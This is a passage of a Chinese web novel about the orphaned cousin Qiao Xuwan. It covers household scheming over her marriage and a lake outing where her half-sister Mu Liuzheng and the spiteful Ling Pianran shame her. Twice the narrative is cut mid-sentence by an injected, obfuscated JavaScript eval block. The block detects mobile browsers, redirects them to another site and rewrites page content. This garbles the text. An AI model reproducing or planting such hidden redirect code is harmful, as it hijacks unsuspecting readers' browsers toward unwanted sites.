母亲慕芷汀更不用说,为慕老妾室卫仪亭所出,十七岁去相国寺为马上科考的兄长祈福,碰巧遇见乔知蕴,不知是一见钟情还是被花言巧语所蒙骗,硬是跟慕家断了关系,嫁与乔知蕴,下了江南。 完全看不出有哪里可疑。 除却这二人,最后也最难搞的,则是谢凌的长子,谢骅涧。 混小子将他这妹妹护得跟眼珠子似的。 方鹭笙微微咬牙。 这俩人,表面上装得生疏,谁知私底下怎么鬼混的! 小娼妇今天还特地戴了个簪子来跟她示威,真是看她拿谢骅涧没法子,仗势欺人来了! ……不过不管是她还是方家,的确都开罪不起谢骅涧。 方鹭笙紧捏着竹骨扇柄,指尖隐隐发白,半晌却又坦然松开。 这兄妹俩厮混在一起,她实则也是乐见其成。 以谢骅涧的权势身份,原本就是娶个王室贵女都不在话下,那样娶进门来她这个当庶母的还要对媳妇嘘寒问暖。而且娶亲后谢骅涧在谢家的地位又要上一个台阶,她家无瑕和婉儿这辈子都要被他压一头,何苦来哉? 还不如放任他跟乔絮晚凑一对儿,最好被这小娼妇迷昏脑袋,一定要抬她做正妻。 如此一来,他就算再有能耐,官人也不会多喜爱,肯定会把更多的注意都放在无瑕和婉儿身上。 方鹭笙将谢家的事想了一轮,又思虑起如何跟乔絮晚开口谈慕家。 她私心是不想让乔絮晚顺利认祖归宗。 慕家人记恨她,她清楚得很,若是靠乔絮晚重新让两家修好,届时不利的还是她自己,还有她背后的方家。 然而谢凌昨夜又专门嘱咐过她,让她跟乔絮晚透露些有关他们要把她送去慕府认亲的打算,让她提前做好准备。 方鹭笙转了转眼珠,定了心思,对乔絮晚笑道:“表姑娘这话就见外了,虽说我们这帮人于你是外戚,但终归在一个屋檐下生活了十年,个中情分自不必多说,如今涉及到你的婚嫁大事,我们又怎会袖手旁观,连这点力都不肯出?” 动之以情过后,又开始晓之以理:“而且啊,不管是书礼还是嫁妆,都不是你一个大小姐该操心的事,谢府上下七八百个下人也不是吃干饭的,府里更没穷到连自家姑娘的嫁妆都出不起,你为这些俗物忧愁,莫不是在看轻我们谢家?” 她假意埋怨。 乔絮晚闻言,“惊惶”地摆手道:“阿晚并非此意!阿晚只不过是觉得……这十年来麻烦你们太多太多了,现今临走,还要再添一笔负担,这份恩情……阿晚怕是这辈子都偿还不起了……” 她说着,以手帕掩面,眼角留下两行清泪,如同心酸到了极点。 ——她演,方鹭笙也演。 只见方鹭笙鼻子一抽,当即红了眼圈,握住她的手,“你是懂事的好孩子,自小就听话乖顺,从不给人添麻烦,小娘看你这样,其实心里也难受,但这个婚事和嫁妆,我们谢府是非替你解决不可了!如若表姑娘觉着有所亏欠,那就在成婚后,多回府上看看,遇到什么难事了,也回来同我们讲讲,千万别一个人憋在心里,知道吗?” “嗯……” 乔絮晚点点头,嗓音沙哑。 这人怎么还不提慕家? 她在心里犯嘀咕。 然而下一秒方鹭笙便松了手,叹道:“实际……关于你的结亲对象,小娘心里已有了几个颇为中意的人选,个个都是人中龙凤,我与主君和婆婆说了,他们也很是满意,但是——” 她忽然面露难色,瞅了乔絮晚一眼,静等她发问。 乔絮晚很给面子地皱起眉,紧张地问:“‘但是’如何?” 方鹭笙又是一声长叹,“但是,就怕有人不同意你在这京城里寻个好人家呢。” 11. 出行 又过四日,已至游湖踏青日。 乔絮晚这次选了支淡雅别致的镶珠兰花玉簪和一对金棕琥珀耳坠,另在腕上套了和田玉镯子。 上身雪青短衫,下配半见色百迭裙,看着清丽明媚,很有春日气息。 站在身后的拂月道:“小姐今日也装扮得这么素净吗?怎么说也是跟别家公子小姐一起出游,要不……” 拂月窥着她的侧脸,跃跃欲试。 乔絮晚明白她那点想出风头的小心思,遂笑道:“今日是我第一次跟他们正经来往,身份摆在这,不好太招摇,不然难免会教人觉得轻浮。” 况且她这一趟过去,并不打算太引人注目。 拂月瘪瘪嘴,只得作罢,琢磨着她的心意,为她挽了个温婉妥帖的龙蕊髻,面上略施胭脂,稍作修饰。 而后转身取来一件纹绣浅紫蝴蝶兰花样的杏仁黄长褙子,道:“奴婢今早出门打水,总觉着还有些许凉意,小姐身子弱,经不得风吹,还是多穿点为妙。” “有心了。”乔絮晚展开双臂,任她为自己披上。 这褙子与衣裙近乎同色,打眼看去,赏心悦目。 收拾完毕,乔絮晚拿了一把墨竹扇面的团扇,与拂月一前一后走出卧房。 大清早,院内的洒扫侍女已开始了各自分工,三四人手持盛米的箩筐站在草地边,饲喂正闲庭信步的白孔雀,另有数个在池塘边喂鱼除草,其他若干人擦拭梁柱地板,浇花烧水,点香烹茶,个个安静又麻利,进出对接有条不紊,使得这院子不但不显拥挤,反而多出几分安闲之意。 ——就在房门打开,乔絮晚踏上石径的那刻,立在池边喂鱼及蹲在院角烧水的数个侍女微微回眸望了一眼,随即飞速收回视线。 乔絮晚状若未觉,继续朝门口走着。 直到离栖鸾院远了些,拂月才在她耳边悄悄抱怨:“那方小娘究竟安的什么心,为何在小姐身边插这么多探子?出个门还要被她们盯着。本来院里有老太太的人看着就够不自在了,如今两伙人聚到一起,就跟请了满天神佛来做客似的,一个比一个脾气大又难管,连玉檀姐姐都生了好几次闷气。” 慕芷兰去世前,怕乔絮晚住在别人院里受欺负,特意命人给年仅十一岁的她收拾出了这个雅致清净的栖鸾院。栖鸾院离李音住的康福堂和方鹭笙住的观鹤居都有些距离,跟谢骅涧住的卧澜轩倒是相近得很,以便他们兄妹俩互相帮衬。 玉檀便是那时派来的一等女使,跟在慕芷兰身边多年,最是靠谱,在栖鸾院相当于管事一样的人物。另有百合,鸢尾,杜鹃,皆是当年随慕芷兰陪嫁过来的,比玉檀稍年轻些,但也值得信任。 因有这些人在,慕芷兰逝后一段时间,乔絮晚的日子也还算过得去,该得的份例不至于被克扣太过。 可这残存的威严毕竟难以长久。 做主子的她都得看人脸色度日,在她手底下干活的更不必提,自是同样矮人一截。 那天李音跟她提及亲事,虽中途被谢骅涧打断,然而晚上便送了人过来,美其名曰看她大了,要多外出交际,担心院内日常诸项事宜忙不过来,专门为她增添人手。 而方鹭笙则是在四天前谈话过后当面给她塞的人,说将来若有心仪的公子,她自己不好频繁露面,能多些人替她办事更佳。 两主子个顶个地厉害,她都管不了,玉檀会受气也正常。 乔絮晚眉目微敛,低声道:“小娘或许是想择个合适时机,替我成就一门‘好姻缘’,有人在屋里,办什么事自然也更方便。至于老太太那边,估计一部分是因为这个,另一部分则是观察阿兄与我的往来情况。” 拂月皱眉道:“那小姐要不要做些防备?万一她们偷摸放了什么取走什么,再互相配合着污蔑小姐,咱们就是有一百张嘴也解释不过来啊。” “……”乔絮晚不紧不慢地踱着步子,平静道:“老太太的人刚送来不足半月,小娘的人也才安置来没几日,她们尚且安宁,我们便也按兵不动。且等些时日,看看她们有什么异动。” 拂月道:“小姐是已有法子了吗?” 乔絮晚微微一笑,回头对她道:“完全没有。” 拂月:“……” 说话间,到了偏门。 一辆极奢华的马车停驻在门外,三匹高头大马在前立着,金丝楠木制的车辕在阳光下熠熠生辉,一道丹红帘子垂落,遮住车内风光。 乔絮晚走过去,守在两侧的侍女上前替她掀开帘子,她脚下踩着轿凳,被拂月搀扶着上了马车。 谢骅涧已在里面坐着了。 墨发以银冠束起,衣穿晴蓝长袍,腰间悬挂一枚祥云玉佩,上身懒懒靠着软枕,手里捧着卷宗翻阅。 见帘子掀开,他抬眸望了一眼,将卷宗放到一边。 “你来得倒挺早。”乔絮晚提着裙子坐在他旁侧。 马车缓缓前行,谢骅涧闲闲道:“今日跟皇城司告了一天假,要是在屋里待久了,恐怕祖母又要把我叫去说闲话。” “比如让你少跟我接触吗?”乔絮晚调笑道。 席霖之将请帖送到府上那天,李音可是在她跟前好一顿阴阳怪气,话里话外讥讽她不知安分守己,前日才露脸,今天就勾得年轻公子上门邀约,还让兄长费时间陪同前往,真是正经礼数不识多少,狐媚本事反倒一流。 谢骅涧道:“这话她都不知说过多少次了,耳朵都要听出茧子。你是不是把她好不容易制出来的补药全扔了,不然她怎地对你这么大怨气?” “嘶,分明是她自己小心眼容不下人!好像谢家堂堂一个公爵府多我一双筷子能被吃穷似的。”乔絮晚撅起嘴,忿忿地嘀咕。 “哈哈。”谢骅涧笑了两声,阖上眸,没再多言。 乔絮晚听他嗓音像是有些哑,细观之下,神色也略有一丝倦意,便问道:“昨晚没睡好?” “处理了点比较紧急的事儿,歇得晚了些,不打紧。” “你若是忙,今日不去也没事的,本来我这次过去主要也是想认识下别家女眷,不会和外男有太多交集。” 乔絮晚知道他这是不放心自己单独外出才会如此,便挪了挪位置,坐得离他近了些,嗓音放得又低又软。 谢骅涧闭着眼道:“男女都一样,看人下菜碟,有我在,你起码不会受什么委屈。” 这倒是真的。 有谢骅涧在场给她撑腰,别说受委屈,她就是扇人几巴掌也不会被多说什么。 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谢骅涧见状,便也收了脾气,重新靠回软枕上,问:“她们往你院里塞人了?” “是啊,康福堂两个,观鹤居两个,个个都是大爷,把玉檀她们都气哭了好几次。”乔絮晚闷闷不乐道,“本来这些天还冷着,我想让拂月去你屋那边跟青霭要点炭火,可有这帮人看着,我哪里敢乱动,晚上冷得快要睡不着……” 栖鸾院的份例被偷偷克扣这事,她自然跟谢骅涧说过。 但有后宅当家的纵容,即便谢骅涧处置过几次也无济于事,所以后来干脆让乔絮晚有什么不够用就派人走后门小路去他院子里找青霭拿,反正他物件富足得很。 从冬天的炭火夏日的冰块,再到银两茶叶,如此协调下来,乔絮晚倒也没吃什么苦,日子依旧悠闲。 她这番话实则掺杂了不少水分,不过在谢骅涧面前诉委屈,她总是要撒撒娇,夸大一下事实的。 谢骅涧听后,面色沉了沉。 静默良久,他道:“我若是出面,也只能逼走方鹭笙的人,祖母那边怕是会更加为难你,等我这几天想想办法,把她们一并从你院里赶出去。” “不必,阿兄。”见他这般说,乔絮晚心里那点委屈便也消弭了。 她又挪了挪,直接坐到他身边,两手挽住他的臂,巧笑嫣然:“我有法子将她们赶走呢。后宅之事自有后宅的门路弯绕,阿兄紧着前朝政务忙就好,不必担忧。” 谢骅涧看着她笑眯眯的小脸,摸摸她的头,叹道:“你这才多大点,就要成日算计这算计那,也怪辛苦了。” 乔絮晚略微落寞:“现在辛苦些也好,等我以后嫁人了,到了别人的宅院里,说不定还会遇到什么事,眼下就当积累经验,提前准备着了。” “……” 谢骅涧皱起眉。 他紧握了握她柔嫩的手,道:“阿兄必定给你寻个最好的夫家。” 乔絮晚抬头看他。 谢骅涧道:“我要你嫁人后,没有婆媳腌臜事,也没有后宅姬妾争宠,你专心做你的贵夫人,吃穿用度比谁都要好,无论走到哪里都能仰着头颅,再也不用像如今这般勾心斗角,低调含蓄。” 12. 赴约 “席兄,你到底在这等谁呢?抻着脖子望半天了。” 碧芳湖畔,裴澈一条长胳膊猛得搭上席霖之肩膀,模仿他的样子昂首看前方道路。 席霖之被压得一个踉跄,随即不耐烦地挥开他,“诶呀!走开走开!勾肩搭背的像什么样子……” “哟——还装起来了。”裴澈拖出个长音,惊奇地上下打量他,“啧啧,瞧你今天这装束,跟那开了屏的孔雀似的,怎么?日子开春了,你也跟着春心萌动了?”他挑眉低声道,“等哪家姑娘呢?” 席霖之脸一红。 以往他一门心思在玩乐上,从未考虑过情情爱爱,如今头一回邀请心仪的姑娘,自然经不起打趣。 于是将洒金扇唰地一收,无比别扭道:“什么姑娘不姑娘的,轻浮!今日怎么说也是年初第一次踏青,肯定要好生捯饬捯饬,你以为谁都跟你一样随便啊?” 他一扇子敲在裴澈肩膀。 裴澈才不信他的鬼话,翻了个白眼道:“行,你最正经,你最端方,那你在这儿杵着干嘛呢?” 席霖之道:“我这是……是……是在等谢兄!对!他难得答应同我们出来玩乐,我不得有模有样地恭迎一番?” “谢兄?你说骅涧?”裴澈颇为诧异,“真是稀奇,谢大指挥平日忙得脚不沾地的,叫他出来喝个酒都推三阻四,这回怎么有空过来了?” 席霖之一时卡壳,半晌答不上来。 幸而此时一辆三驾马车缓缓停在路边,吸引走了裴澈的注意。 “欸,还挺巧,咱们这正说着呢,他人就到了。”他很是闲不住地凑了过去。 席霖之一转头,赶忙跟上,却又在距离马车十步远的地方驻了足,将自己浑身上下都仔细整理一遍又清了清嗓,才端正地走近。 ——帘子掀起的一瞬,他一双眼霎时亮如烛炬。 却见一只漆皮描金的男式皂靴先行迈了出来,颀长如松的身姿半弯着腰,抬头那刻,赫然是谢骅涧那张侧帽风流的俊美面容。 席霖之“啧”一声,毫不犹豫地扭头看向他身后。 裴澈倒是乐呵呵地打起了招呼:“骅涧!今日怎么有兴致出来游玩了啊?” 谢骅涧没急着回他,从马车下来后站在一边,伸出一只手递到车帘前,像是准备扶什么人。 帘子边沿被几点皙白如雪的指尖拉开,另一只比他的手小了一圈的柔荑款款搭上去。 随后,露出一张宛若清水芙蓉的鹅蛋小脸,耳垂坠着的琥珀双珠在日光下与瞳色交相辉映,别有一番动人的风采。 裴澈顿住脚步。 前几日在烧尾宴尚且离得远,只将人看了个大概,现下离近了再看,一时间竟是怔忡得说不出话。 席霖之亦是呆了少顷,不过他很快便回过神,上前拱手作揖:“表姑娘安好。” 乔絮晚小心翼翼地落到地面,收回手,笑着对他福了福身:“席二公子安。” 经这两声,裴澈才反应过来,同样正经地作了一揖:“原来是表姑娘,失礼失礼,在下苍华巷裴府裴国公长孙裴澈,问表姑娘安。” 乔絮晚也回他一礼,道:“裴小公爷。” 嗓音轻轻柔柔,犹如淙淙溪水流过心间。 裴澈听得心旷神怡,正准备拿出压箱底的撩闲功夫与她打趣两句,却被谢骅涧甚是煞风景地打岔:“霖之,几时开始游湖?” 席霖之松出口气。 这称呼才对啊,上次那声席二险些给他吓尿。< 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这些人看她的眼神也与先前不同,颇为微妙。 看来上次宴席结束各回各家后,皆被父母交代过几轮。 “阿晚!你也来了呀?” 熟悉的灵动女声从一旁钻入耳朵,乔絮晚顺势望去,意料之中看到了跑过来的付卿卿。 她笑着握住那双伸来的手,道:“卿卿,你何时到的?” 付卿卿单纯道:“我也才到没一会,正跟翩然还有慕姐姐她们打叶子牌呢。” “……慕……姐姐?” 乔絮晚表情有一瞬僵硬。 13. 二姐 空气一时凝滞。 周围人显然也听到了她们的对话,偷瞄过来的目光愈发热切。 付卿卿正是待嫁的年纪,放眼整个慕家,能被她称作姐姐的同辈姑娘仅有两个—— 慕见山长子慕止岸的嫡次女慕流筝,及二房庶出的三女儿慕伊桃。 乔絮晚没跟她们见过面,但心里下意识不想与这其中任何一个对上。 情况有些麻烦,她默不作声地思忖怎么转移话题。 而说话不过脑的付卿卿脱口而出这句后,察觉气氛莫名诡异,这才意识到似乎不大妥当。 她手足无措地立在原地,不知该如何补救。 两厢静默,更显尴尬。 然而这时,站在乔絮晚身边的谢骅涧却突然唤道:“二姐姐?” 乔絮晚闻言一愣,转头看看他,又顺着他所视方向望过去。 一袭翠色罗裙的清丽女子莲步轻移,徐徐走到他们面前。 她的装扮同样素淡,却又不难看出雍容华贵的贵女气度,浅绿宫绦束在腰间,将细腰描摹得盈盈一握,侧方悬挂一枚朱红禁步,流苏纤长,使得裙裾被妥帖压住,又添几许优雅。 那女子驻足,微笑着对谢骅涧道:“表弟,没想到你今日也会来,以往约你出来游玩,可是比登天还难呢。” 平常总是对他人不假辞色的谢骅涧,此刻竟亦笑了起来:“二姐姐说得也太夸张了,上回不还一起在樊楼吃过饭吗?对了,你让我帮你看琴,我在清音阁倒是找到个不错的,已叫人付过定金,二姐姐什么时候有空,可以去看看。” 二姐姐。 表弟。 原来是慕家次女慕流筝。 乔絮晚在一旁看着他们言笑晏晏,心中忽而像塌了一角,空落落的。 她为自己夹在谢慕两家的境况处处算计,时时提防,与她最为亲近的兄长却是早已来去自如,跟人谈笑风生。 甚至她还从来都不知道。 乔絮晚愣愣看着他们旁若无人地闲聊,忽觉她站在这里,好像很多余。 慕流筝注意到出神的她,转眸端详一阵,柔声问谢骅涧:“表弟,这位是……?” 谢骅涧道:“这是二姨母的女儿,我们的表妹,乔絮晚,之前一直寄住在我家,这回霖之邀请她过来玩,我不放心,就陪她一道来了。二姐姐应当也知道她吧?” 慕流筝微微睁大美目,恍然道:“原来这就是乔妹妹啊!”她连忙拉起乔絮晚的手,仔细瞧着她颇不自然的面容,笑道:“乔妹妹是个美人呢,看这相貌,怕是我们家这几个姐妹没一个能比得过的。” 被她拉着的手仿佛着了火般灼热磨人,乔絮晚眼神略微闪烁,强撑着笑奉承:“二姐姐过奖,都是一家人,谈何比较呢?况且……单看二姐姐就知道,慕家的姐妹们自小在书香中浸润,才貌双全,气质出尘,非寻常人所能及。妹妹资质平庸,即便空有三分颜色,也不敢相提并论。” 她谦卑地垂着头,将姿态放得低了又低。 谢骅涧蹙起眉。 慕流筝怜惜道:“妹妹又何必如此自谦?依我看啊,妹妹不论在哪,都是极出挑的!” 她这般态度并没有让乔絮晚好过多少,反倒越发觉着面上无颜。 四面八方望过来的视线令她如坐针毡,对面女子华贵的装扮与气质更是让她自卑到抬不起头。 她安静片刻,抽出手,福身道:“这船好像有点晃,妹妹头晕,想坐着休息会,二姐姐和阿兄先聊着,妹妹先行告辞。” 说罢,不等谢骅涧和慕流筝作出反应,她便急急地迈开步子朝船后角落里的座位走去。 付卿卿忙不迭追上她:“阿晚你去哪?我也陪你一起去!” 乔絮晚脚步微顿,没拒绝。 ——躲也似的坐到角落后,付卿卿搭上她的手,歉疚道:“抱歉阿晚,我忘记你跟慕家人……” 她欲言又止。 乔絮晚脸色略苍白,虚虚地笑道:“没事,你不是故意的,我知道。” “阿晚……”见她如此,付卿卿愈加愧疚难当。 乔絮晚想抬眸看看谢骅涧那边的情况,眼睛却又不听话地移到别处,索性问付卿卿:“卿卿,我阿兄……跟慕家人关系很好吗?” 付卿卿忙道:“挺好的!不对,也不是都很好,就是跟慕家那些和我们差不多年纪的小辈熟识,就你的两个哥哥姐姐,另外三个弟弟妹妹不怎么出门,我就不知道了。” “这样啊。”乔絮晚垂下眼帘。 她对慕家谢家,还有这京城大多世家的了解都来自谢府里的人,尤其是谢骅涧。 可谢骅涧从没跟她说过这些。 什么吃饭看琴,更是半个字眼都没提过。 是觉得没必要吗? 乔絮晚沉默地坐着,宛如一尊精雕细琢的木雕。 这一趟过来,她本是要主动跟别家女眷交际的。 可她现在完全没有做这些的心情。 仿佛浑身的力气都被抽干了一般,她无意义地拨弄着手中团扇,眼瞳无神而呆怔。 付卿卿不放心地推推她:“阿晚,你这是怎么了呀?你要是实在不高兴,我陪你——” “卿卿,你在那坐着干嘛?”令翩然蓦地从前方过来,笑得欢快又得意,“陪着那三棍子打不出声的闷葫芦有什么意思?快来继续跟我和慕姐姐打叶子牌!” 付卿卿不满道:“翩然!” 令翩然撅着嘴:“叫我作甚?难不成你宁愿在这陪她当木头,也不来跟我和慕姐姐玩了吗?” “我……” 付卿卿为难地看了乔絮晚一眼。 她其实也想接着和慕流筝打叶子牌,但乔絮晚现在明显心情不好,她总不能丢下她,一个人寻欢作乐去。 令翩然见她不走,干脆主动上前将她拉了起来,往前面拖去,“哎呀,别管她了!她不过是看到自己嫡姐如此优秀大气,心里不舒坦罢了。” 她讥讽地笑:“这种满腹心机的穷酸亲戚就是这样,一张嘴就是漂亮话,等见了真正的高门贵女,却又如阴沟里的老鼠见到太阳一般,连头都抬不起来。” 她说完这句话,乔絮晚依旧一声不吭,可付卿卿却是一把甩开了她的手,怒斥道:“令翩然!你若再说这等混账话,我们便再也不要来往了!” 令翩然怔住。 付卿卿气冲冲道:“如果人人都能选择出身,又有谁愿意当个被抛弃的孤女?阿晚寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561495|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居在外戚家又非她本意,她若是个男儿,尚能参加科考,在外面闯出一番自己的天地,可她只是个云英未嫁、身不由己的姑娘啊!令翩然,倚人篱壁的心酸滋味你我都未曾尝过,你不能感同身受也就罢了,但为何要说这些落井下石的刻薄话?难道阿晚对你做过什么难以原谅的天大的错事吗?!” “……” 令翩然睁大眼睛,无法应答。 乔絮晚亦是错愕万分。 付卿卿深吸几口气,平复呼吸,一双眼却依旧怒目而视:“倘若翩舟姐姐今日在这里,说这番话的就该是她了,不过你说的这些我也会原模原样转述给她听!” 令翩然登时煞白了脸,抓住她的胳膊道:“好卿卿,你别告诉我阿姐!她……她会打死我的!” “你既也知晓不对,那又为何要说?!” 付卿卿声音不低,四周已陆陆续续有人望了过来,她猛一转身拉起乔絮晚的手,将她往前面带,“走!大家都是来玩的,那要玩就一起玩,排挤人算什么本事!要是再有人像这样奚落你,那就连我也一并奚落了罢!” 别看她人瘦瘦弱弱的,这一下使劲,乔絮晚竟愣是没抵抗住,硬生生被带到了船头众人眼前。 面对一众各不相同的目光,纵然心中兵荒马乱,她也仍是立即挺直了腰板,不让自己露怯。 付卿卿略过原先打牌的那桌,牵着她径直走到另一桌正在点茶的贵女前,将她拽到自己身边,当着几张呆滞脸的面落落大方地介绍道: “这位是上连巷谢国公府的表姑娘,慕家四小姐,乔絮晚。” 言毕又转向乔絮晚说:“阿晚,这位是林家三小姐,林照月,这是傅家四小姐,傅晓荷,这是梁家长女,梁淑,她们都是我的朋友。” 乔絮晚记下名字,笑着挨个问好:“林三姑娘,傅四姑娘,梁大姑娘。” 点头又抬起的瞬息,眸光微不可察地扫过那位林三姑娘林照月。 如果没记错,慕止岸的正妻名叫林素。 应当和这位林三姑娘是一家人。 也是她这趟过来想找的人。 其他三人面面相觑。 不论家里如何说道,此时人站在跟前,她们总不好拂了人家面子,于是也站起身回应:“乔姑娘。” 付卿卿从一旁拉了把椅子给乔絮晚坐,自己也坐下,张罗着道:“来来来,我们一起点茶!” 细碎轻响中,几人纷纷动作,唯独乔絮晚坐立不安。 林照月觑见一动不动的她,眼眸转了转,温声问:“乔姑娘怎么不开始?是不熟悉这套器具吗?” 乔絮晚眼神闪躲,迟疑道:“我……” “她恐怕是不会吧?” 令翩然讥诮刺耳的声音再度传来。 乔絮晚厌烦地抿紧唇,付卿卿却先一步拍桌而起:“令翩然,你怎么又来?” 令翩然全然不在意她的怒容,笑嘻嘻地凑过去挽住她,道:“别生气啊卿卿,我不是来找麻烦的。我是觉得吧,你方才说得对,我不该对她一个孤女那般辞色,所以就想着来道个歉,弥补一下我的过错。” 她一脸无辜地对乔絮晚道:“乔姑娘心善又正直,想必一定会接受我的道歉吧?” 14. 较量 “……” 这是又想出了什么让她出丑的妙招? 乔絮晚盯着令翩然那毫无歉意且明显不怀好意的脸,微微一笑,道:“我与令小侯女自小相识,令小侯女方才也不过是在说玩笑话罢了,何必如此生分地特地来道歉?未免显得我们关系疏远。” 本来也没多亲近! 令翩然在心里忿忿道。 她努力维持面上笑容,几乎是从牙缝里挤出话:“说得是呢,以你我的关系,压根不用谈什么道歉不道歉。既然如此,乔姑娘可愿让我坐在这里,与你们一同点茶焚香?” 乔絮晚猜到她想做什么了。 闺阁姑娘们的较量,素来从容雅致。 看谁技艺高人一等,看谁最能沉得住气。 比的就是个“雅”字。 奈何乔絮晚对这类高雅技艺真的只是通晓皮毛。 她六岁之前由江陵的先生嬷嬷教导,十一岁之前是姨母请来的翰林先生教书,深宫嬷嬷教导琴棋书画。 十一岁之后,谢家再无人会专门请人来教导她,连读书写字都是谢骅涧抽空教她的。 点茶焚香这类雅事自不必提,更是完全没接触过。 令翩然显然清楚这点,所以想来这儿找回场子,让她下不来台。 当下状况容不得乔絮晚出言拒绝,她状似为难道:“令小侯女想一道玩乐,我自是没意见的,可是这里毕竟还有四位姐姐妹妹在,我一人不好擅自做决定……” 林傅梁三人互相对望一眼,随后一齐看向付卿卿。 人是她带来的,现在也该由她先表态。 付卿卿也有点难办。 她不是傻子,看得出令翩然是准备砸场子让乔絮晚丢脸,可她跟令翩然怎么说也是多年交情,实在没法生硬果断地拒绝。 而且前头两人刚姐妹情深地拉扯完,令翩然又拿弥补当由头,她若是再拒绝,那就是不给面子了。 怎么说也是定远侯府备受宠爱的小女儿…… 思忖良久,她终是以乔絮晚都同意了为理由说服了自己,犹豫着对令翩然道:“既然阿晚都这么说了……你们呢?”她转向另外三人。 傅梁二人自然不会推拒侯府千金,于是笑盈盈地应了。 可林照月却道:“翩然,卿卿,我记得你们原先好像在和慕姐姐一起打牌,现在都跑到我们这边来,慕姐姐可怎么办呀?” 令翩然当即道:“乔姑娘总归是第一次来跟我们游湖,我已跟慕姐姐说过要来陪她,慕姐姐心善,马上就同意了!” 言毕,又转了转眸,看向正被一堆人围在中间的慕流筝,仿佛意有所指地赞叹:“慕姐姐真不愧是慕府亲生亲养的千金闺秀啊,心胸开阔又大气,全然不会为一点点小事就斤斤计较甩手走人,也难怪人家周围总有那么多玩伴相陪,连谢哥哥都这么喜爱她!” “……” 乔絮晚保持着良好的微笑,权当听不懂她话里暗讽,掩在团扇后握着方帕的手却是不自觉地收紧。 林照月暗自窥了一眼她,又瞥向不远处正跟其他公子哥聊着天、时不时望过来的谢骅涧,心中默默思考。 前些日子她姑母林素从慕府带了话,说若是今日乔家那姑娘也过来了,让她多注意着点,试探试探那姑娘秉性如何。 不要表现得太亲热,也不要太陌生,适当客套即可。 可当下令翩然明显是不待见这人,要横生事端,谢大公子又关注着她,看样子是打算维护,两人要是闹起来,她还怎么试探? 但其他人都答应令翩然坐了,她再阻拦又有些说不过去…… 啧,难搞。 林照月心念电转,旋即一抬头,一拍手,道:“要不我们把慕姐姐也叫来一起吧?” 众人一愣。 令翩然张了张嘴,眼神飘忽道:“这……咱们这桌子也没多大,再加人,有点不够用吧……” 林照月道:“这有什么的?再拼一张过来不就行了?来人!”她言出法随地对随行家丁招手,“再拖一张桌子过来!” 家丁依言照做。 随即林照月微笑着走向慕流筝,“慕姐姐,你看翩然和卿卿都被乔妹妹勾到我们那桌去了,这叶子牌怕是也打不成了,要不姐姐来跟我们一块焚香点茶?” 虽不知慕流筝对这乔姑娘态度如何,但她一贯是个识大体的,有她坐镇,令翩然总不至于闹腾得太过分。 就算她要闹,看在慕流筝的面上,谢大公子多少也会忍着点脾气。 四周人皆暗暗观察这方。 各家大多都有尚未娶妻的兄弟,而这乔姑娘恰好又是个合适的人选,只是身世颇为微妙。 就目前来看,谢家对她只能说不冷不热,不太在意,可如果慕家待她不错,那说不定可以趁机攀附。 反而言之,如果慕家待她不好,那他们以后也能注意着少跟她来往,以免得罪人。 乔絮晚同样默默揣摩着林照月的用意。 慕流筝没料到林照月会突然叫上自己,微怔半秒后才笑着回道:“当然可以,正好我也想和乔妹妹多聊会天。” 说着,和她携手返回桌旁。 ——人多了起来,桌上反而愈发安静。 见乔絮晚一直盯着眼前茶具不动,慕流筝一边调膏,一边善解人意道:“其实呀,这点茶也着实没意思了些,我刚才见魏姑娘她们在抛球,不如点茶完后我们也去玩抛球?” 令翩然立即接话:“可是慕姐姐,这船上人好多,要是她们也抛,我们也抛,撞到一起就不好了。要不一会弹琴去?正好我最近新学了个曲子,还想弹给你听,让你指点指点我呢!” “也好。”慕流筝点头应下。 令翩然顺势对乔絮晚道:“乔姑娘不会点茶,也该会抚琴吧?好歹是大家闺秀,要是连最基本的琴棋书画都不会,可就有点说不过去了啊。” 乔絮晚看着她得意洋洋的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561496|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面庞,少顷,坦然道:“是,我也不会。” 多年前她的确学过,但许久没碰过琴,指法谱子差不多忘了个干净。 令翩然一噎。 居然承认了? 这人怎么这么不知害臊! 乔絮晚这么淡然,反倒让她有些难堪起来,她略低了头,双颊迅速漫上红霞。 慕流筝在两人间看了一圈,柔柔道:“乔妹妹不会弹也没事,横竖这片地方就这么大点,我们一起抚琴反倒还排不开。要不……我一会教你吧?” 她螓首微侧,关切又期待地看着乔絮晚。 乔絮晚僵直地坐着。 这一刻,极罕见的,心头升起局促。 这股局促犹如雨珠打在湖面,由一点水花,顺着四肢经脉扩展,回荡出经久不绝的羞耻。 回应令翩然自己身无长技时她表现得坦坦荡荡,然心中的自尊却已是摇摇欲坠,如今大庭广众之下,这位嫡亲的姐姐说要教导她最基本的技艺—— 她感觉不到感激,只有无边的耻辱。 她也曾是个被如珠似宝捧在手心里娇养的大小姐,傲气比天还高。 哪怕让令翩然继续嘲讽下去,她也不想要这种施舍般的好意。 还不如就让她像空气一样被晾在一边,起码她还可以视周围看戏的目光于无物。 她捏着团扇的手已在隐隐发颤,慕流筝仿佛没看见,疑惑地问道:“乔妹妹?” “不必了!”乔絮晚一下站起身,嗓音不觉带了点生硬的冷漠,“我对琴不感兴趣,也不想学,各位姐姐妹妹玩好,我有点头晕,先去船边吹吹风。” “欸——” 慕流筝欲伸手挽留,那窈窕的身影却是毫不犹豫地离去。 所经之处,众人纷纷让路,好似在躲避瘟神。 